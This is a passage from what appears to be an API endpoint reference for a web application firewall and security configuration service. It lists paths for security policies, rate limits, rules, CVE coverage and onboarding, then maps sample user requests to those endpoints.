| DELETE | /configs/{configId}/versions/{versionNumber}/rate-policies/{ratePolicyId} | Remove a rate policy |
| PUT | /configs/{configId}/versions/{versionNumber}/rate-policies/{ratePolicyId}/evaluation | Modify a rate policy evaluation |
| POST | /configs/{configId}/versions/{versionNumber}/reputation-profiles | Create a reputation profile |
| GET | /configs/{configId}/versions/{versionNumber}/reputation-profiles | List reputation profiles |
| GET | /configs/{configId}/versions/{versionNumber}/reputation-profiles/{reputationProfileId} | Get a reputation profile |
| PUT | /configs/{configId}/versions/{versionNumber}/reputation-profiles/{reputationProfileId} | Modify a reputation profile |
| DELETE | /configs/{configId}/versions/{versionNumber}/reputation-profiles/{reputationProfileId} | Remove a reputation profile |
| POST | /configs/{configId}/versions/{versionNumber}/response-actions/challenge-actions | Create a challenge action |
| GET | /configs/{configId}/versions/{versionNumber}/response-actions/challenge-actions | List challenge actions |
| GET | /configs/{configId}/versions/{versionNumber}/response-actions/challenge-actions/{actionId} | Get a challenge action |
| PUT | /configs/{configId}/versions/{versionNumber}/response-actions/challenge-actions/{actionId} | Update a challenge action |
| DELETE | /configs/{configId}/versions/{versionNumber}/response-actions/challenge-actions/{actionId} | Delete a challenge action |
| PUT | /configs/{configId}/versions/{versionNumber}/response-actions/challenge-actions/{actionId}/google-recaptcha-secret-key | Update Google reCAPTCHA secret key |
| POST | /configs/{configId}/versions/{versionNumber}/security-policies | Clone or create a security policy |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies | List security policies |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId} | Get a security policy |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId} | Modify a security policy |
| DELETE | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId} | Remove a security policy |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/advanced-settings/evasive-path-match | Get evasive path match settings |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/advanced-settings/evasive-path-match | Modify evasive path match settings |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/advanced-settings/logging | Get HTTP header log settings |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/advanced-settings/logging | Modify HTTP header log settings |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/advanced-settings/logging/attack-payload | Get attack payload logging settings for a policy |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/advanced-settings/logging/attack-payload | Modify attack payload logging settings for a policy |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/advanced-settings/pragma-header | Get Pragma settings for a security policy |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/advanced-settings/pragma-header | Modify Pragma settings for a security policy |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/advanced-settings/request-body | Get request body inspection limit settings for a security policy |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/advanced-settings/request-body | Modify request body size settings for a security policy |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/api-endpoints | List API endpoints |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/api-request-constraints | List API request constraints and actions |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/api-request-constraints | Modify the request constraint action for all APIs |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/api-request-constraints/{apiId} | Modify an API request constraint's action |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/attack-groups | List attack groups |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/attack-groups/{attackGroupId} | Get the action for an attack group |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/attack-groups/{attackGroupId} | Modify the action for an attack group |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/attack-groups/{attackGroupId}/condition-exception | Get the exceptions of an attack group |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/attack-groups/{attackGroupId}/condition-exception | Modify the exceptions of an attack group |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/behavioral-ddos | List Behavioral DDoS profile actions |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/behavioral-ddos/{profileId} | Modify a Behavioral DDoS profile action |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/bypass-network-lists | Get the bypass network lists settings for a security policy |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/bypass-network-lists | Modify the bypass network lists settings for a security policy |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/cpc | Get Client-Side Protection & Compliance settings |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/cpc | Modify Client-Side Protections & Compliance settings |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/custom-rules | List custom rule actions |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/custom-rules/{ruleId} | Modify a custom rule action |
| POST | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval | Set evaluation mode |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval-groups | List evaluation attack groups |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval-groups/{attackGroupId} | Get the action for an evaluation attack group |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval-groups/{attackGroupId} | Modify the action for an evaluation attack group |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval-groups/{attackGroupId}/condition-exception | Get the exceptions of an evaluation attack group |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval-groups/{attackGroupId}/condition-exception | Modify the exceptions of an evaluation attack group |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval-hostnames | List evaluation hostnames for a security policy |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval-hostnames | Modify evaluation hostnames for a security policy |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval-penalty-box | Get the penalty box for a policy in evaluation mode |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval-penalty-box | Modify the evaluation penalty box |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval-penalty-box/conditions | Get penalty box conditions in evaluation mode |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval-penalty-box/conditions | Modify the penalty box conditions in evaluation mode |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval-rules | List evaluation rules |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval-rules/{ruleId} | Get the action of an evaluation rule |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval-rules/{ruleId} | Modify the action of an evaluation rule |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval-rules/{ruleId}/condition-exception | Get the conditions and exceptions for an evaluation rule |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval-rules/{ruleId}/condition-exception | Modify the conditions and exceptions for an evaluation rule |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/ip-geo-firewall | Get IP/Geo Firewall settings |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/ip-geo-firewall | Modify IP/Geo Firewall settings |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/malware-policies | List malware policy actions |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/malware-policies/{malwarePolicyId} | Modify a malware policy action |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/mode | Get the current mode |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/mode | Modify the mode |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/penalty-box | Get the penalty box |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/penalty-box | Modify the penalty box |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/penalty-box/conditions | Get penalty box condition |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/penalty-box/conditions | Modify the penalty box conditions |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/protect-eval-hostnames | Protect evaluation hostnames for a security policy |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/protections | Get protections |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/protections | Modify protections |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rapid-rules | List rapid rules |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rapid-rules/action | Get rapid rules' default action |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rapid-rules/action | Update rapid rules' default action |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rapid-rules/status | Get rapid rules' status |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rapid-rules/status | Update rapid rules' status |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rapid-rules/{ruleId}/condition-exception | List a rapid rule's conditions and exceptions |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rapid-rules/{ruleId}/condition-exception | Update a rapid rule's conditions and exceptions |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rapid-rules/{ruleId}/lock | Get a rapid rule's lock status |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rapid-rules/{ruleId}/lock | Update a rapid rule's lock status |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rapid-rules/{ruleId}/versions/{ruleVersion}/action | Get a rapid rule's action |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rapid-rules/{ruleId}/versions/{ruleVersion}/action | Update a rapid rule's action |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rate-policies | List rate policy actions |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rate-policies/{ratePolicyId} | Modify a rate policy action |
| POST | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/recommendations | Respond to exception recommendations |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/recommendations | Get tuning recommendations for a policy |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/recommendations/attack-groups/{attackGroupId} | List tuning recommendations for an attack group |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/recommendations/rules/{ruleId} | List tuning recommendations for a rule |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/reputation-analysis | Get reputation analysis settings |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/reputation-analysis | Modify reputation analysis settings |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/reputation-profiles | List reputation profile actions |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/reputation-profiles/{reputationProfileId} | Get the action for a reputation profile |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/reputation-profiles/{reputationProfileId} | Modify the action for a reputation profile |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rules | List rules |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rules | Upgrade KRS ruleset |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rules/upgrade-details | Get upgrade details |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rules/{ruleId} | Get the action for a rule |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rules/{ruleId} | Modify the action for a rule |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rules/{ruleId}/condition-exception | Get the conditions and exceptions of a rule |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rules/{ruleId}/condition-exception | Modify the conditions and exceptions of a rule |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/selected-hostnames | List selected hostnames for a security policy |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/selected-hostnames | Modify selected hostnames for a security policy |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/slow-post | Get slow POST protection settings |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/slow-post | Modify slow POST protection settings |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/threat-intel | Get adaptive intelligence settings |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/threat-intel | Modify adaptive intelligence settings |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/url-protections | List URL protection policy actions |
| PUT | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/url-protections/{urlProtectionPolicyId} | Modify a URL protection policy action |
| GET | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/web-application-firewall/ruleset | Get a security policy's rule set |
| PATCH | /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/web-application-firewall/ruleset | Modify a security policy's rule set |
| GET | /configs/{configId}/versions/{versionNumber}/selectable-hostnames | List selectable hostnames |
| GET | /configs/{configId}/versions/{versionNumber}/selected-hostnames | List selected hostnames |
| PUT | /configs/{configId}/versions/{versionNumber}/selected-hostnames | Modify selected hostnames |
| GET | /configs/{configId}/versions/{versionNumber}/selected-hostnames/eval-hostnames | List evaluation hostnames |
| PUT | /configs/{configId}/versions/{versionNumber}/selected-hostnames/eval-hostnames | Modify evaluation hostnames |
| GET | /configs/{configId}/versions/{versionNumber}/siem | Get SIEM settings |
| PUT | /configs/{configId}/versions/{versionNumber}/siem | Modify SIEM settings |
| POST | /configs/{configId}/versions/{versionNumber}/url-protections | Create a URL protection policy |
| GET | /configs/{configId}/versions/{versionNumber}/url-protections | List URL protection policies |
| GET | /configs/{configId}/versions/{versionNumber}/url-protections/{urlProtectionPolicyId} | Get a URL protection policy |
| PUT | /configs/{configId}/versions/{versionNumber}/url-protections/{urlProtectionPolicyId} | Modify a URL protection policy |
| DELETE | /configs/{configId}/versions/{versionNumber}/url-protections/{urlProtectionPolicyId} | Remove a URL protection policy |
| GET | /configs/{configId}/versions/{versionNumber}/version-notes | Get the version notes |
| PUT | /configs/{configId}/versions/{versionNumber}/version-notes | Modify version notes |
### contracts-groups
| Method | Path | Description |
|--------|------|-------------|
| GET | /contracts-groups | List contracts and groups |
### contracts
| Method | Path | Description |
|--------|------|-------------|
| GET | /contracts/{contractId}/groups/{groupId}/selectable-hostnames | List available hostnames for a new configuration |
### cves
| Method | Path | Description |
|--------|------|-------------|
| GET | /cves | List CVEs |
| POST | /cves/subscribe | Subscribe to CVEs |
| GET | /cves/subscribed | List subscribed CVEs |
| POST | /cves/unsubscribe | Unsubscribe from CVEs |
| GET | /cves/{cveId} | Get a CVE |
| GET | /cves/{cveId}/security-coverage | Get CVE coverage |
### export
| Method | Path | Description |
|--------|------|-------------|
| GET | /export/configs/{configId}/versions/{versionNumber} | Export a configuration version |
### hostname-coverage
| Method | Path | Description |
|--------|------|-------------|
| GET | /hostname-coverage | Get hostname coverage |
### onboardings
| Method | Path | Description |
|--------|------|-------------|
| POST | /onboardings | Create an onboarding |
| GET | /onboardings | List onboardings |
| GET | /onboardings/{onboardingId} | Get an onboarding |
| DELETE | /onboardings/{onboardingId} | Delete an onboarding |
| POST | /onboardings/{onboardingId}/activations | Activate an onboarding |
| GET | /onboardings/{onboardingId}/activations/{activationId} | Get an onboarding activation |
| GET | /onboardings/{onboardingId}/certificate-validation | List onboarding certificate challenges |
| POST | /onboardings/{onboardingId}/certificate-validation/validate | Validate onboarding certificate |
| GET | /onboardings/{onboardingId}/cname-to-akamai | List hostname CNAME DNS records |
| POST | /onboardings/{onboardingId}/cname-to-akamai/validate | Validate hostname CNAME DNS records |
| GET | /onboardings/{onboardingId}/domain-validation | List onboarding domain challenges |
| POST | /onboardings/{onboardingId}/domain-validation/validate | Validate onboarding domains |
| GET | /onboardings/{onboardingId}/origin-validation | List origin hostname DNS records |
| POST | /onboardings/{onboardingId}/origin-validation/skip | Skip origin hostnames DNS record validation |
| POST | /onboardings/{onboardingId}/origin-validation/validate | Validate origin hostnames DNS records |
| GET | /onboardings/{onboardingId}/settings | Get onboarding settings |
| PUT | /onboardings/{onboardingId}/settings | Modify onboarding settings |
### siem-definitions
| Method | Path | Description |
|--------|------|-------------|
| GET | /siem-definitions | Get SIEM versions |
## Common Questions
Match user requests to endpoints in references/api-spec.lap. Key patterns:
- "Create a activation?" -> POST /activations
- "Get status details?" -> GET /activations/status/{statusId}
- "Get activation details?" -> GET /activations/{activationId}
- "Search api-discovery?" -> GET /api-discovery
- "Search basepath?" -> GET /api-discovery/host/{hostname}/basepath/{basePath}
- "Update a basepath?" -> PUT /api-discovery/host/{hostname}/basepath/{basePath}
- "Create a endpoint?" -> POST /api-discovery/host/{hostname}/basepath/{basePath}/endpoints
- "List all endpoints?" -> GET /api-discovery/host/{hostname}/basepath/{basePath}/endpoints
- "Create a config?" -> POST /configs
- "List all configs?" -> GET /configs
- "Get config details?" -> GET /configs/{configId}
- "Update a config?" -> PUT /configs/{configId}
- "Delete a config?" -> DELETE /configs/{configId}
- "List all activations?" -> GET /configs/{configId}/activations
- "Create a custom-rule?" -> POST /configs/{configId}/custom-rules
- "List all custom-rules?" -> GET /configs/{configId}/custom-rules
- "Get custom-rule details?" -> GET /configs/{configId}/custom-rules/{ruleId}
- "Update a custom-rule?" -> PUT /configs/{configId}/custom-rules/{ruleId}
- "Delete a custom-rule?" -> DELETE /configs/{configId}/custom-rules/{ruleId}
- "List all failover-hostnames?" -> GET /configs/{configId}/failover-hostnames
- "Get subscription details?" -> GET /configs/{configId}/notification/subscription/{feature}
- "Create a version?" -> POST /configs/{configId}/versions
- "List all versions?" -> GET /configs/{configId}/versions
- "Create a diff?" -> POST /configs/{configId}/versions/diff
- "Get version details?" -> GET /configs/{configId}/versions/{versionNumber}
- "Delete a version?" -> DELETE /configs/{configId}/versions/{versionNumber}
- "List all cookie-settings?" -> GET /configs/{configId}/versions/{versionNumber}/advanced-settings/cookie-settings
- "List all evasive-path-match?" -> GET /configs/{configId}/versions/{versionNumber}/advanced-settings/evasive-path-match
- "List all ja4-fingerprint?" -> GET /configs/{configId}/versions/{versionNumber}/advanced-settings/ja4-fingerprint
- "List all logging?" -> GET /configs/{configId}/versions/{versionNumber}/advanced-settings/logging
- "List all attack-payload?" -> GET /configs/{configId}/versions/{versionNumber}/advanced-settings/logging/attack-payload
- "List all pii-learning?" -> GET /configs/{configId}/versions/{versionNumber}/advanced-settings/pii-learning
- "List all pragma-header?" -> GET /configs/{configId}/versions/{versionNumber}/advanced-settings/pragma-header
- "List all prefetch?" -> GET /configs/{configId}/versions/{versionNumber}/advanced-settings/prefetch
- "List all request-body?" -> GET /configs/{configId}/versions/{versionNumber}/advanced-settings/request-body
- "Create a behavioral-ddo?" -> POST /configs/{configId}/versions/{versionNumber}/behavioral-ddos
- "List all behavioral-ddos?" -> GET /configs/{configId}/versions/{versionNumber}/behavioral-ddos
- "Get behavioral-ddo details?" -> GET /configs/{configId}/versions/{versionNumber}/behavioral-ddos/{profileId}
- "Update a behavioral-ddo?" -> PUT /configs/{configId}/versions/{versionNumber}/behavioral-ddos/{profileId}
- "Delete a behavioral-ddo?" -> DELETE /configs/{configId}/versions/{versionNumber}/behavioral-ddos/{profileId}
- "List all bypass-network-lists?" -> GET /configs/{configId}/versions/{versionNumber}/bypass-network-lists
- "Create a custom-deny?" -> POST /configs/{configId}/versions/{versionNumber}/custom-deny
- "Search custom-deny?" -> GET /configs/{configId}/versions/{versionNumber}/custom-deny
- "Get custom-deny details?" -> GET /configs/{configId}/versions/{versionNumber}/custom-deny/{customDenyId}
- "Update a custom-deny?" -> PUT /configs/{configId}/versions/{versionNumber}/custom-deny/{customDenyId}
- "Delete a custom-deny?" -> DELETE /configs/{configId}/versions/{versionNumber}/custom-deny/{customDenyId}
- "Create a usage?" -> POST /configs/{configId}/versions/{versionNumber}/custom-rules/usage
- "Create a export?" -> POST /configs/{configId}/versions/{versionNumber}/export
- "List all result?" -> GET /configs/{configId}/versions/{versionNumber}/export/{exportId}/result
- "List all status?" -> GET /configs/{configId}/versions/{versionNumber}/export/{exportId}/status
- "List all match-targets?" -> GET /configs/{configId}/versions/{versionNumber}/hostname-coverage/match-targets
- "List all overlapping?" -> GET /configs/{configId}/versions/{versionNumber}/hostname-coverage/overlapping
- "Create a malware-policy?" -> POST /configs/{configId}/versions/{versionNumber}/malware-policies
- "List all malware-policies?" -> GET /configs/{configId}/versions/{versionNumber}/malware-policies
- "List all content-types?" -> GET /configs/{configId}/versions/{versionNumber}/malware-policies/content-types
- "Get malware-policy details?" -> GET /configs/{configId}/versions/{versionNumber}/malware-policies/{malwarePolicyId}
- "Update a malware-policy?" -> PUT /configs/{configId}/versions/{versionNumber}/malware-policies/{malwarePolicyId}
- "Delete a malware-policy?" -> DELETE /configs/{configId}/versions/{versionNumber}/malware-policies/{malwarePolicyId}
- "Create a match-target?" -> POST /configs/{configId}/versions/{versionNumber}/match-targets
- "List all match-targets?" -> GET /configs/{configId}/versions/{versionNumber}/match-targets
- "Get match-target details?" -> GET /configs/{configId}/versions/{versionNumber}/match-targets/{targetId}
- "Update a match-target?" -> PUT /configs/{configId}/versions/{versionNumber}/match-targets/{targetId}
- "Delete a match-target?" -> DELETE /configs/{configId}/versions/{versionNumber}/match-targets/{targetId}
- "Create a rate-policy?" -> POST /configs/{configId}/versions/{versionNumber}/rate-policies
- "List all rate-policies?" -> GET /configs/{configId}/versions/{versionNumber}/rate-policies
- "Get rate-policy details?" -> GET /configs/{configId}/versions/{versionNumber}/rate-policies/{ratePolicyId}
- "Update a rate-policy?" -> PUT /configs/{configId}/versions/{versionNumber}/rate-policies/{ratePolicyId}
- "Delete a rate-policy?" -> DELETE /configs/{configId}/versions/{versionNumber}/rate-policies/{ratePolicyId}
- "Create a reputation-profile?" -> POST /configs/{configId}/versions/{versionNumber}/reputation-profiles
- "List all reputation-profiles?" -> GET /configs/{configId}/versions/{versionNumber}/reputation-profiles
- "Get reputation-profile details?" -> GET /configs/{configId}/versions/{versionNumber}/reputation-profiles/{reputationProfileId}
- "Update a reputation-profile?" -> PUT /configs/{configId}/versions/{versionNumber}/reputation-profiles/{reputationProfileId}
- "Delete a reputation-profile?" -> DELETE /configs/{configId}/versions/{versionNumber}/reputation-profiles/{reputationProfileId}
- "Create a challenge-action?" -> POST /configs/{configId}/versions/{versionNumber}/response-actions/challenge-actions
- "List all challenge-actions?" -> GET /configs/{configId}/versions/{versionNumber}/response-actions/challenge-actions
- "Get challenge-action details?" -> GET /configs/{configId}/versions/{versionNumber}/response-actions/challenge-actions/{actionId}
- "Update a challenge-action?" -> PUT /configs/{configId}/versions/{versionNumber}/response-actions/challenge-actions/{actionId}
- "Delete a challenge-action?" -> DELETE /configs/{configId}/versions/{versionNumber}/response-actions/challenge-actions/{actionId}
- "Create a security-policy?" -> POST /configs/{configId}/versions/{versionNumber}/security-policies
- "List all security-policies?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies
- "Get security-policy details?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}
- "Update a security-policy?" -> PUT /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}
- "Delete a security-policy?" -> DELETE /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}
- "List all evasive-path-match?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/advanced-settings/evasive-path-match
- "List all logging?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/advanced-settings/logging
- "List all attack-payload?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/advanced-settings/logging/attack-payload
- "List all pragma-header?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/advanced-settings/pragma-header
- "List all request-body?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/advanced-settings/request-body
- "List all api-endpoints?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/api-endpoints
- "List all api-request-constraints?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/api-request-constraints
- "Update a api-request-constraint?" -> PUT /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/api-request-constraints/{apiId}
- "List all attack-groups?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/attack-groups
- "Get attack-group details?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/attack-groups/{attackGroupId}
- "Update a attack-group?" -> PUT /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/attack-groups/{attackGroupId}
- "List all condition-exception?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/attack-groups/{attackGroupId}/condition-exception
- "List all behavioral-ddos?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/behavioral-ddos
- "Update a behavioral-ddo?" -> PUT /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/behavioral-ddos/{profileId}
- "List all bypass-network-lists?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/bypass-network-lists
- "List all cpc?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/cpc
- "List all custom-rules?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/custom-rules
- "Update a custom-rule?" -> PUT /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/custom-rules/{ruleId}
- "Create a eval?" -> POST /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval
- "List all eval-groups?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval-groups
- "Get eval-group details?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval-groups/{attackGroupId}
- "Update a eval-group?" -> PUT /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval-groups/{attackGroupId}
- "List all condition-exception?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval-groups/{attackGroupId}/condition-exception
- "List all eval-hostnames?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval-hostnames
- "List all eval-penalty-box?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval-penalty-box
- "List all conditions?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval-penalty-box/conditions
- "List all eval-rules?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval-rules
- "Get eval-rule details?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval-rules/{ruleId}
- "Update a eval-rule?" -> PUT /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval-rules/{ruleId}
- "List all condition-exception?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/eval-rules/{ruleId}/condition-exception
- "List all ip-geo-firewall?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/ip-geo-firewall
- "List all malware-policies?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/malware-policies
- "Update a malware-policy?" -> PUT /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/malware-policies/{malwarePolicyId}
- "List all mode?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/mode
- "List all penalty-box?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/penalty-box
- "List all conditions?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/penalty-box/conditions
- "List all protections?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/protections
- "List all rapid-rules?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rapid-rules
- "List all action?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rapid-rules/action
- "List all status?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rapid-rules/status
- "List all condition-exception?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rapid-rules/{ruleId}/condition-exception
- "List all lock?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rapid-rules/{ruleId}/lock
- "List all action?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rapid-rules/{ruleId}/versions/{ruleVersion}/action
- "List all rate-policies?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rate-policies
- "Update a rate-policy?" -> PUT /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/rate-policies/{ratePolicyId}
- "Create a recommendation?" -> POST /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/recommendations
- "List all recommendations?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/recommendations
- "Get attack-group details?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/recommendations/attack-groups/{attackGroupId}
- "Get rule details?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/recommendations/rules/{ruleId}
- "List all reputation-analysis?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/reputation-analysis
- "List all reputation-profiles?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/reputation-profiles
- "Get reputation-profile details?" -> GET /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/reputation-profiles/{reputationProfileId}
- "Update a reputation-profile?" -> PUT /configs/{configId}/versions/{versionNumber}/security-policies/{policyId}/reputation-profiles/{reputationProfileId}
